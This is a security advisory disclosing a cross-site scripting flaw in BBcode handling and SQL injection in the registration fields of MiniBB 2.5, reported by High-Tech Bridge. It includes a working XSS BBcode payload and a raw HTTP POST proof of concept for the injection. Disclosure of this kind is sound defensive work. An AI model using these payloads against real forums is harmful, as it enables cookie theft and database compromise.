MiniBB 2.5 Cross Site Scripting / SQL Injection

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Vulnerability ID: HTB22670  
Reference: http://www.htbridge.ch/advisory/bbcode_xss_in_minibb.html  
Product: MiniBB  
Vendor: MiniBB.com ( http://www.minibb.com/ )   
Vulnerable Version: 2.5  
Vendor Notification: 21 October 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
BBcode isn't properly sanitized. This can be used to post arbitrary script code.  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability.  
BBcode Example:  
  
[imgs=http://nosuch.gif][url=http://onerror=javascript:alert(/XSS/);"']123[/url][/imgs]  
  
======================================  
Vulnerability ID: HTB22671  
Reference: http://www.htbridge.ch/advisory/sql_injection_in_minibb.html  
Product: MiniBB  
Vendor: MiniBB.com ( http://www.minibb.com/ )   
Vulnerable Version: 2.5  
Vendor Notification: 21 October 2010   
Vulnerability Type: SQL Injection  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: High   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "/index.php" scripts to properly sanitize user-supplied input in "icq", "occupation", "from", "interest", "viewemail", "user_sorttopics" and "language" variables.  
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
  
  
The following PoC is available:  
  
  
POST /index.php?action=registernew HTTP/1.1  
Host: [host]  
Referer: http://[host]/index.php?action=registernew  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 225  
  
action=register&login=pentest&passwd=pentest&passwd2=pentest&email=pentest%40pentest.com&icq=1%5C%5C&occupation=2%5C%5C&from=3%5C%5C&interest=4%5C%5C&user_viewemail=5%5C%5C&user_sorttopics=6%5C%5C&language=7%5C%5C&login=Login  
  
  
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